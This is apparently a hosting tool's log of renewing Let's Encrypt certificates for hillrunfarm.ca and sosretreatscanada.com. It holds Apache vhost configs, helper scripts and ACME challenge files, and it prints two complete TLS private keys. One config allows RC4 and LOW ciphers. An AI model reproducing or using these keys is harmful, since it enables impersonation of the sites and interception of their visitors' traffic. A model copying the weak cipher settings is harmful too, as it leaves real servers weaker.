<VirtualHost *:80>
    ServerName	hillrunfarm.ca
    ServerAlias	www.hillrunfarm.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hillrunfarm_www
    <Directory /var/www/hillrunfarm_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hillrunfarm/www_access.log combined
    ErrorLog	/var/log/apache2/hillrunfarm/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	hillrunfarm.ca
    ServerAlias	www.hillrunfarm.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/1580003f2048ce1d2a11cc5c78c90447.crt
    DocumentRoot	/var/www/hillrunfarm_www
    <Directory /var/www/hillrunfarm_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hillrunfarm/www_secure_access.log combined
    ErrorLog	/var/log/apache2/hillrunfarm/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-09-27 06:00:44: 

PUT: /tmp/pkp526627

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/1580003f2048ce1d2a11cc5c78c90447.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-09-27 06:00:44: 

chmod 755 /tmp/pkp526627; /tmp/pkp526627; rm /tmp/pkp526627

2025-09-27 06:00:44: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/1580003f2048ce1d2a11cc5c78c90447.crt	5369
e7:4c:68:67:70:eb:e8:08:7d:c8:92:bd:f6:e0:1e:37

-----BEGIN CERTIFICATE-----
MIIFCzCCA/OgAwIBAgISBTE/Cnkz2ymK+89+y48AcqTNMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwOTI3MDUwMjEyWhcNMjUxMjI2MDUwMjExWjAZMRcwFQYDVQQD
Ew5oaWxscnVuZmFybS5jYTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AK9S1u7S+CnmbSBrS3fqv4KvAyAugyONbUysYEb3K2q6GkFLJDwGJjXcrH5t1Gm6
I8W552Q5JHnwLCFc6/vNjah3R5Fw68EF+gynOpxLncPz3B0uEq4iGUrdwRk2QY3X
TFRZF41vyRIsOLs80b8jvg0LLCBi3+eGeff5UX18vgY13S5BeQ+aVx6ihkKQKPuu
M36yYbKWOCxiYvVlDb3FTwMH7/mvAmvAVGZkRZarexRnELGla96JuDLEyfaEzuS2
uNADcX29HHhG960uQ1c91qGLGVu60sbmRquxaQbDNrzcg4Yf0I7DpnSP9/hd3lM3
Un0d4kqInugoCumDg3w5e28CAwEAAaOCAjEwggItMA4GA1UdDwEB/wQEAwIFoDAd
BgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQUKEO7v0iWDW16BAvW13AARlNJ1skwHwYDVR0jBBgwFoAUALUp8i2ObzHo
m0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEyLmkubGVuY3Iub3JnLzAtBgNVHREEJjAkgg5oaWxscnVuZmFybS5jYYISd3d3
LmhpbGxydW5mYXJtLmNhMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUw
I6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvNzguY3JsMIIBAwYKKwYBBAHW
eQIEAgSB9ASB8QDvAHUA7TxL1ugGwqSiAFfbyyTiOAHfUS/txIbFcA8g3bc+P+AA
AAGZicJmHQAABAMARjBEAiAHOFszSoxlEDpIWwRjv+5cGhChlTPD8yLZrQnL5UMS
dgIgY0TVoLghL15qpUMvJTJGTbLdOn6vgyFDPQ3FnQPdISIAdgAS8U40vVNyTIQG
GcOPP3oT+Oe1YoeInG0wBYTr5YYmOgAAAZmJwmYfAAAEAwBHMEUCIFzXizAF4gGJ
yufSdZMLMFCeWOESmG/WlKJ6f4/qNA4cAiEA+3VU2SIRj2RfOjskMjRFJoG0AEIL
VjAH9QlfS9ngw4gwDQYJKoZIhvcNAQELBQADggEBAEHkrgT4xBw2+haVcp+0IGiH
69kwgFmaGUpEqG9PTJ5TQ27J6K0/EyMlybx/M3Q8mvUWcgVf7Wh3JN1ueBM+Z2NJ
oBSw01oelRlci7Xw0D3aAFnNqr5Ykh2efpZXs3PsOLsmBkCtQZyTirBdj70siyh5
xXEv2f1ctNYeMvFHXVzqGuotBkRAOWnixTm3Larx5W1JWU26wZMVscyzZGVc7tbM
YF2ghu7HpTdEiHg26CuQg0ZDNkMggO3IOEKD6KMGdVKaL16c5XVJlntBZKZpTtsr
6BpZDgJ8Q0PzwnXBnGf9n38NtWiP+ojP60C/8g2uRWMLEe5LyCtxpUnhuVcTilg=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCvUtbu0vgp5m0g
a0t36r+CrwMgLoMjjW1MrGBG9ytquhpBSyQ8BiY13Kx+bdRpuiPFuedkOSR58Cwh
XOv7zY2od0eRcOvBBfoMpzqcS53D89wdLhKuIhlK3cEZNkGN10xUWReNb8kSLDi7
PNG/I74NCywgYt/nhnn3+VF9fL4GNd0uQXkPmlceooZCkCj7rjN+smGyljgsYmL1
ZQ29xU8DB+/5rwJrwFRmZEWWq3sUZxCxpWveibgyxMn2hM7ktrjQA3F9vRx4Rvet
LkNXPdahixlbutLG5karsWkGwza83IOGH9COw6Z0j/f4Xd5TN1J9HeJKiJ7oKArp
g4N8OXtvAgMBAAECggEBAI/ARXimRFHenCVTtBpLwOC+7LorSN0SrcaLI5msOc4V
b0eP+9K3XAcXu9sh5GMX+xK5He+AJtdQRG7KiLb6UCcMPgMTaknmw6IyT40tNtsf
DKBkUW6ziLdo4VXxtYg+OliCgBw4xs1+srla4cNt4/s/6NtZFqr4CPN4WgehCxF9
JwF3VsgCWdNqe81BQ2JgLPTkyHNFsVpmyWaBSlH9aioSqE0E7r/FB2IePY7YAe0B
NHTOjrWP8sHjmbT/n2uxRYkceg3/PSw9uGWs/x1qjuR+PTLG9lRWxZHy+PHu3Kbv
EyJty2x3r7N8Zieux/DKB1KhjTk/FaE8kxU7/jwRyhkCgYEA3Fk23yNbsECGe+CM
KNEW0NpA+1OktFUraCDTId28ld3OnRu/qw4VhER+Ekj1oqz/WvIgt9DkHpARqTUt
lTvfuzIcRytXW1zon2iT3K91u10hp/Dv/+gOdASZOIJVVTIvLiIccuRbt+SKDTPv
KuMCynCLPs8UVKd9N/k70j3XrvUCgYEAy7C0Lc8aG2dkFSHJEzD0G5l2gWDfSNTz
fgJOmbY3RJf5LrzFUW0rtdfiuWE56tiE3TpzoFMTdsgyR4vu8QAcRPoLuDlD7aKF
ugt+ZgPZj48lYSg6K5Oz72fPYn5NsRxSgpI5tzX3MWSRsEN2llwzaBVfa5S9oSdE
zvAJZjVfelMCgYBduz2SMdJA6VHLxDsa6caQ1SarQmtfopMyWjQ1xcMA5TeMsU8Z
Doasmw4d7RdAOeLt5u1wA9XmAlbg6ZQYVT3YvXo19APXA3CYzr2HNMQaDYXRkLYm
36m2RHaBCUAPW6eiMjRz0xwI35iyARON5L89Kh6xexkk4ZJsiwKdbl0fOQKBgBOR
bj3YX5GyZRMCo+aMFWdxXskfHVRJ4PqCDjsGHlkgoHe0+t/PtRtLGiTlCkNdeaYn
L2R/lqcapHnrH5FXiV+3Bdk05ym1K1OsNwBl7ki0X8rtqmj1T5v4RRwZNi2FoweY
NKM9M/oyxyw/zuyy/t1I8FnNeEo7E4kt1jlTd1CxAoGAeV7PH4rAGZ8jtfwtrW1H
GLgCEhW00B5Svv9DS+hD0l9doFLTClXFbQuAJAQ/hvRln1FtvGY/IfL4qw3jRu8o
vxheDWsCGD422LmoKbf3poFnp8Vo90bTvHnA4rI4ETX6ThLKeHTgnvtAoJdf1Ifv
xTkH38bQ5C5irVB3R8CnVFg=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2025-09-27 06:00:44: Establishing a connection
2025-09-27 06:00:44: Establishing a connection
2025-09-27 06:00:45: 

PUT: /tmp/pkp178293

#!/bin/bash
if [ -d "/var/www/sosretreatscanada_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-09-27 06:00:45: 

chmod 755 /tmp/pkp178293; /tmp/pkp178293; rm /tmp/pkp178293

2025-09-27 06:00:45: 


1


2025-09-27 06:00:46: Establishing a connection
2025-09-27 06:00:46: 

PUT: /tmp/pkp492217

#!/bin/bash
mkdir -p "/var/www/sosretreatscanada_www/.well-known/acme-challenge/"
cd "/var/www/sosretreatscanada_www/.well-known/acme-challenge/"
cat > lk-_kOQzqcgJtrqf344MgyLHMIYbq7q3dpZrYeMgEGw <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
lk-_kOQzqcgJtrqf344MgyLHMIYbq7q3dpZrYeMgEGw.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 lk-_kOQzqcgJtrqf344MgyLHMIYbq7q3dpZrYeMgEGw
cat > DE2CzPhnESiNKB3iWFZZMdAAAcKlJejprCTeznMUM2s <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
DE2CzPhnESiNKB3iWFZZMdAAAcKlJejprCTeznMUM2s.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 DE2CzPhnESiNKB3iWFZZMdAAAcKlJejprCTeznMUM2s
cat > _o7jsATzXWJvtHJjP-FQEwj_XRwlUyEVbWSCaP0qQhk <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
_o7jsATzXWJvtHJjP-FQEwj_XRwlUyEVbWSCaP0qQhk.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 _o7jsATzXWJvtHJjP-FQEwj_XRwlUyEVbWSCaP0qQhk
cat > 8XPdeJy_l5OHaStS0BLB7caXn9fupXHXEvyvpLttYDA <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
8XPdeJy_l5OHaStS0BLB7caXn9fupXHXEvyvpLttYDA.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 8XPdeJy_l5OHaStS0BLB7caXn9fupXHXEvyvpLttYDA
cat > ypwcS9qvcnsZ0fyzLoATBbb6e_jgzVBvSDnc4XmIAWQ <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
ypwcS9qvcnsZ0fyzLoATBbb6e_jgzVBvSDnc4XmIAWQ.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 ypwcS9qvcnsZ0fyzLoATBbb6e_jgzVBvSDnc4XmIAWQ
cat > EguzcvQHYLXSN3_38BpGDC0aPgsEqgtbnZcNsBet8uA <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
EguzcvQHYLXSN3_38BpGDC0aPgsEqgtbnZcNsBet8uA.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 EguzcvQHYLXSN3_38BpGDC0aPgsEqgtbnZcNsBet8uA


2025-09-27 06:00:46: 

chmod 755 /tmp/pkp492217; /tmp/pkp492217; rm /tmp/pkp492217

2025-09-27 06:00:46: 




2025-09-27 06:01:27: Establishing a connection
2025-09-27 06:01:27: 

PUT: /tmp/pkp297475

#!/bin/bash
mkdir -p "/var/www/sosretreatscanada_www/.well-known/acme-challenge/"
cd "/var/www/sosretreatscanada_www/.well-known/acme-challenge/"
rm lk-_kOQzqcgJtrqf344MgyLHMIYbq7q3dpZrYeMgEGw
rm DE2CzPhnESiNKB3iWFZZMdAAAcKlJejprCTeznMUM2s
rm _o7jsATzXWJvtHJjP-FQEwj_XRwlUyEVbWSCaP0qQhk
rm 8XPdeJy_l5OHaStS0BLB7caXn9fupXHXEvyvpLttYDA
rm ypwcS9qvcnsZ0fyzLoATBbb6e_jgzVBvSDnc4XmIAWQ
rm EguzcvQHYLXSN3_38BpGDC0aPgsEqgtbnZcNsBet8uA


2025-09-27 06:01:28: 

chmod 755 /tmp/pkp297475; /tmp/pkp297475; rm /tmp/pkp297475

2025-09-27 06:01:28: 




2025-09-27 06:01:28: Establishing a connection
2025-09-27 06:01:28: 

PUT: /tmp/pkp712008

#!/bin/bash
temp_file=$(mktemp)
TARGET=b58195725e6aa43652c67a8009fa0881.crt

cat > $temp_file <<'endmsg'
ae:a1:0b:31:9e:6d:ae:6d:4f:6e:a5:0a:3b:23:49:be

-----BEGIN CERTIFICATE-----
MIIFeDCCBGCgAwIBAgISBfpo2Zneso2+KNvTikINcxjqMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUwOTI3MDUwMjU3WhcNMjUxMjI2MDUwMjU2WjAgMR4wHAYDVQQD
ExVzb3NyZXRyZWF0c2NhbmFkYS5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQC1TSUihjUDfnzZeWBxTg3Q75qxXZu9iH7oCtavvfVlryQWVC+Eqn5g
0qHhpWMhpkFDqwdCTKs1RSnh6BzvIDl23Ks8M5UXW/MqzuNp+FyNqh09UQCluyjX
yFf1WCsqMDXEvkxMZzairDu1l7fIQ0Tc5B/faLBPAhg0PS3Yf6bgex9eOgrxzSa3
RKIKW1i9R6wSbvHM6YW0kVNfnxZgDTnvA0g0O9MjhQxHpUgoMunZ6U2QNE9A+yph
He8mMBaH5bvUNuBL9iE7YSK1DgLF47uiobxSzAR2n3E1X8LO5JO5AjQewQTNIBZ+
2HtynWeaazoqE+BWKaWe3T77lqOYyriPAgMBAAGjggKXMIICkzAOBgNVHQ8BAf8E
BAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQC
MAAwHQYDVR0OBBYEFGKyscr2FKJxbqYL/myxYb0crct5MB8GA1UdIwQYMBaAFOer
nw8sM6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYX
aHR0cDovL3IxMy5pLmxlbmNyLm9yZy8wgZEGA1UdEQSBiTCBhoIOc29zcmV0cmVh
dHMuY2GCFHNvc3JldHJlYXRzY2FuYWRhLmNhghVzb3NyZXRyZWF0c2NhbmFkYS5j
b22CEnd3dy5zb3NyZXRyZWF0cy5jYYIYd3d3LnNvc3JldHJlYXRzY2FuYWRhLmNh
ghl3d3cuc29zcmV0cmVhdHNjYW5hZGEuY29tMBMGA1UdIAQMMAowCAYGZ4EMAQIB
MC8GA1UdHwQoMCYwJKAioCCGHmh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMTA3LmNy
bDCCAQMGCisGAQQB1nkCBAIEgfQEgfEA7wB1AKRCxQZJYGFUjw/U6pz7ei0mRU2H
qX8v30VZ9idPOoRUAAABmYnDE9YAAAQDAEYwRAIgRl+z5PuHDreEeaiuiVaW120u
z43s5Jk30DCzBoflH/8CIHXyr2pi95glBZ7IIpnBGpytDl/JHGDXnlELlIOwlrnz
AHYA3dzKNJXX4RYF55Uy+sef+D0cUN/bADoUEnYKLKy7yCoAAAGZicMUIQAABAMA
RzBFAiEAsf22Lpa4/hwbi+EXwDWn9e+H+rd+jBG0kFp/g0ph+n4CIEfv5qVIXjJD
2jaTY07ZGlc7YicpH7J3Tlvq33dtcCyvMA0GCSqGSIb3DQEBCwUAA4IBAQALwDRL
a3xRqcwYO6QaiGzRnFY/7MhK7ArhmebhF6ovKEQqyBeok1X3ffoWvSU0kZVjT+sM
zjU2eOQb9kqtWc66KkB9u/f58QdqT90HrFqVSsI9jXcWaPmW2KFQhrA8I/mD95jq
FYJMJw6h9uzDTUozdo1EVyZtQkWtDdeRk77rc3D2phbdtX10lT6r99xhAM3udhmp
BKqA6dh7xq+DcmnK8GqqYRzCxoiM+tWOIa7S5fNJ3dpB4fhRh5bp6UuKk5EfwgAT
y7aLw90LK9zPBZQovQv2lYaCI57dvERVUXAQNgWUR90N5al7PSXPhZGDTbIVixwL
TQLNCmlfJ/yyR+zh
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC1TSUihjUDfnzZ
eWBxTg3Q75qxXZu9iH7oCtavvfVlryQWVC+Eqn5g0qHhpWMhpkFDqwdCTKs1RSnh
6BzvIDl23Ks8M5UXW/MqzuNp+FyNqh09UQCluyjXyFf1WCsqMDXEvkxMZzairDu1
l7fIQ0Tc5B/faLBPAhg0PS3Yf6bgex9eOgrxzSa3RKIKW1i9R6wSbvHM6YW0kVNf
nxZgDTnvA0g0O9MjhQxHpUgoMunZ6U2QNE9A+yphHe8mMBaH5bvUNuBL9iE7YSK1
DgLF47uiobxSzAR2n3E1X8LO5JO5AjQewQTNIBZ+2HtynWeaazoqE+BWKaWe3T77
lqOYyriPAgMBAAECggEAEEQzqL1R1FZs7TYuqPvP0Yct4ev8JS0x9a/DQ1FPyyfD
nR1Ahi6l2BoN3Cjyk/pOsLuPkys90TG7aEFjFzFU9o0l7+jQ35+oWZbmYIOgCjXR
GcdCv5vjNjkLaz/V35sjt9s7DT/VbxL06H4MRzOB4i+1jF3gM7aEZWt3yYzqdAlx
QbhyuQibph8Bbc9Lxsslx/vM0GNPaPww3q+01lsP8BbnMuia2sDDHasYbxLaU3T8
YtYHNDSXuNvX0DSjNjyuW6F13l2V1j2eMEpA9nO0+taX0bqVji/NQfYjoBTA3rKh
JHabX8C1dB5Q/s75CSND4DGHjVkPDY6943efQuYcwQKBgQDeKmjJ3k/h7mkzdhbJ
K5FhdgxNdgj47PATWMGsSHMq40OM72+02Xzxv2i/vFFpGLYdRwf7b58J6Y6WBc3y
Z4DxSyezMn3rRZcPlCawYNZTj/PdH40bBYNBS9cjwLwiq0JkE0zOj88xpOcrYWGD
OsNbZ0aRyroISbik9KfG4u/3FQKBgQDQ6Y4v8ehXTL89QmLLNif8dJxAMfO3Fdcn
3m/lIFBLKhn41r5IorDF9rmnrIV9sY5zKsQY26TAGV0p7gjT5H2rLMSTKKT1W7DN
6HW4w5YjhXZgZ7v7hRQGvHSGZ05dZhCgBNjgoRmi0AavRzjDoPLicRCKJxlknrrq
vIFgmyZaEwKBgQDA1SanMSM9A2akmDcm3X4OjhwXkAAxr9ahtERGeYwdCa20Qo8+
9heQ7YbKBXbUNfK8bs7q2vO78tEkPl2HrXcp+QW4cHcDIx//EaSTKzpcxXHx2FTt
w1ct8doG2l9x6Bx0KJxeHkzE1lEgQiIVeYffakDCgqf+UZ7G7uRBqPCIEQKBgQCg
gdDspT+NUznbJxYgawttu2oRKE/HatBToWL290y5cy9hMBwiUlzevCEH4lTtrW10
rnbbYmXB8brSbD/8DKFA0rR1G9UhbcD5cpB/1EWWJQQ+LXUQWb55LnGYkeZze+dq
Ck9Wxm+b15hLMr06EH6L27KJcmDgHdQeZZZBUvK0YQKBgHjavE4RAG/srVIC4KkW
Dgi9relqSYVuUjlGl1ifiokEyVGzCp4vkpYBE8pv8cadF3fL6UpGsrpMTO9qAQIy
/MBEHmnyLp31KAE9TblIMhu7EFw/bzox/lFFTwvhkcYv9vEe8a53gp2Rwlv264M/
punPjUFzAC6YFD4+r7/Pxcxu
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-09-27 06:01:28: 

chmod 755 /tmp/pkp712008; /tmp/pkp712008; rm /tmp/pkp712008

2025-09-27 06:01:28: 


dir=/etc/ssl/certs


2025-09-27 06:01:28: 

PUT: /tmp/pkp610311

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-09-27 06:01:28: 

chmod 755 /tmp/pkp610311; /tmp/pkp610311; rm /tmp/pkp610311

2025-09-27 06:01:28: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf 49

<VirtualHost *:80>
    ServerName	sosretreatscanada.com
    ServerAlias	sosretreats.ca www.sosretreats.ca
    ServerAlias	www.sosretreatscanada.com
    ServerAlias	sosretreatscanada.ca www.sosretreatscanada.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/sosretreatscanada_www
    <Directory /var/www/sosretreatscanada_www>
